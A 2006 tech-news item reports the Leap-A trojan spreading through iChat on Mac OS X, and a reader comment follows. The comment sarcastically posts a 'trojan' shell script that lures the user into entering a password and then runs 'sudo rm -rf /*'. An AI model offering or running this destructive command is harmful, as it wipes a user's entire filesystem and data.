Linked by Thom Holwerda on Thu 16th Feb 2006 15:45 UTC, submitted by kristof
Mac OS X Antivirus researchers have discovered what's claimed to be the first computer Trojan to infect Apple Mac OS X computers. The malware, dubbed Leap-A, spreads via the iChat instant messaging system as a file called latestpics.tgz that infected machines send to contacts on an infected user's buddy list. The malicious file, which poses as a set of pictures, is a compressed Unix shell program. The user is prompted for admin credentials to launch the malicious code, which is better described as a Trojan than a virus. Mac OS X users who do this will find their machines infected.
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Another trojan:
by gleng on Thu 16th Feb 2006 16:10 UTC
gleng
Member since:
2006-02-16

Here's the source to another Mac OS X trojan:

#!/bin/sh
echo "Enter your password to receive free stuff!"
sudo rm -rf /*

Looks like the days of *nix being a safe platform are over.

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